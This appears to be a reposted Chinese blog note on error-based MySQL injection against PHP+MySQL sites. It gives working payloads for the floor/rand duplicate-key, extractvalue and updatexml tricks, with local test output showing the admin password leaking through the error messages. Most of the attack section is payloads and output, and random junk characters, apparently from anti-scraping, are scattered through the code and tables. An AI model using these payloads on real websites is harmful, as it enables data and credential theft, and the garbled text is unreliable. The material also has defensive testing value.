关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
实际测试环境：
0 r. V3 U0 `7 P8 f8 |​

mysql> show tables;
+----------------+
. w4 W+ ~7 x  H4 }* }6 T| Tables_in_test |
+----------------+
| admin          |
| article        |
+----------------+

, }$ H3 z* d9 x3 [5 S8 U" w% v# L

% z$ B& W/ q) n! K2 f- ]( Pmysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
; p$ }+ q1 R1 U6 t| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
, b. r# h. L) i- u| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+
6 \4 u5 R# P1 g& b& Z; x% K4 m
& f- @- I; C/ Y
& I7 n% a% }5 o9 b. l
, J( w2 z6 ^" z9 d2 v( W! A) X2 L+ amysql> describe article;
  W" {8 L+ @, }) z) j+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
9 J, W$ |8 t! c3 {+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
$ a6 S. H' K3 n7 n  H- C| title   | varchar(50)      | NO   |     | NULL    |                |
7 z  v3 h; v: K( k/ S" w| content | varchar(50)      | NO   |     | NULL    |                |
$ i, L) J! }! f* f+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
可以通过如下一些利用代码
0 t5 v2 e1 \8 p/ j
. T: g, k7 x& @* i. _) E
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
3 A1 D) @  r7 w. s, ?* a0 E

7 ?1 K' c: I5 V4 x' ^: Xand (select count(*) from (select 1 union select null union select !1)x
0 s8 ~' q5 l0 t) r0 Mgroup by concat((select table_name from information_schema.tables limit 1),
% [7 o. |4 C' X$ \( _1 afloor(rand(0)*2)));
" @9 g2 K  m. W4 g7 x2 ~. F举例如下：
2 P- B% R# c1 |- x# R首先进行正常查询：
+ n0 L8 I& T4 P3 \; J
mysql> select * from article where id = 1;
6 h) {5 D- q, g; k+----+-------+---------+
| id | title | content |
+----+-------+---------+
- W$ Z) k; ^% b" A! ]7 P|  1 | test  | do it   |
$ A: V8 J2 |' J, j9 _' l' T( ?4 Y, o+----+-------+---------+
假如id输入存在注入的话，可以通过如下语句进行报错。


mysql> select * from article where id = 1 and (select 1 from
/ c( F+ Q1 J. T% r6 N$ Q(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
/ D/ n# u. p) g可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
' ?# f2 x6 I8 @3 W例如我们需要查询管理员用户名和密码：
  S5 {1 C5 Z/ F: d3 n5 D- xMethod1:
7 H8 L$ ]- o6 j) z

9 Q9 q( R* E  m2 C4 P# J% Vmysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
$ E2 U# g  V6 efrom information_schema.tables group by x)a);
, C( e, e1 u" |+ ^6 B' G8 gERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
' Y& z1 m- Z, }/ r# EMethod2:
( Z3 _6 ^5 |# B% B0 e  E
0 R2 j1 `$ b+ `7 ~& {# Z" U
mysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
# S* F4 f! k1 Q( o: X" }ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
测试语句如下
( o) X4 S& |0 g5 y3 u

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
  `& }: m/ a7 N4 S* Z8 a$ q实际测试过程


. g7 O( d2 M0 ^4 Z% pmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
3 p, x/ m! V3 \' |$ a7 Y3 [! KERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
) t7 E: W* v7 |测试语句

. b/ v2 F! [8 I9 W1 s
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程


; g! o8 [1 g7 L" pmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
6 [6 @0 ]9 ~* [6 C/ y(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.
! p4 |3 }& E! r  ?5 C' g' z) k% {9 j
; a5 h6 k# B2 d7 N​
, T3 ^4 i6 O+ B9 F; c; d